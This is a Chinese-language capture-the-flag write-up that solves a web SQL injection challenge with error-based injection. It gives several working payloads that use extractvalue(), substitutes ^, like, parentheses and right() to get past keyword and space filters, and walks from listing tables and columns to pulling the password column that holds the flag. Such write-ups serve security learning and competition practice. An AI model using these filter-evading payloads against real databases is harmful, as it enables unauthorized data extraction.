記得比賽的時候我用的是報錯注入
隨便輸入用戶名和密碼進行抓包。
用戶名輸入單引號之后報錯,簡單測試一下and or這些被過濾掉了
使用^異或符號替換and
證明可以使用^替換,^符號未被過濾,添加報錯注入的payload,報錯注入的原理網上有很多優秀的文章,使用payload之前可以先看一下:
extractvalue(1,concat(0x7e,user(),0x7e))
添加到burpsuite里面就變成了(最后的^'1 是為了閉合引號):
1%27^extractvalue(1,concat(0x7e,user(),0x7e))^'1
成功報錯注出了數據庫用戶名
做的過程中發現還過濾了等號=和空格
等號可以使用like來代替,空格使用()括號來代替
payload修改為:
1%27^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like%27geek%27),0x7e))^'1
表名為:H4rDsq1
進一步獲取數據:
1%27^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like%27H4rDsq1%27),0x7e))^'1
應該是要獲取password
1%27^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e))^'1
因為extractvalue和updatexml函數都只能一次最多顯示32位,在原有payload基礎上修改.
本來想用mid函數的,但是被過濾了,換right函數輸出后面的flag
payload修改為:
1%27^extractvalue(1,concat(0x7e,(select(group_concat(right(password,13)))from(H4rDsq1)),0x7e))^'1
與之前的flag拼接一下,注意這里我多出了幾位,需要把重復的位數去除,就拿到完整的flag啦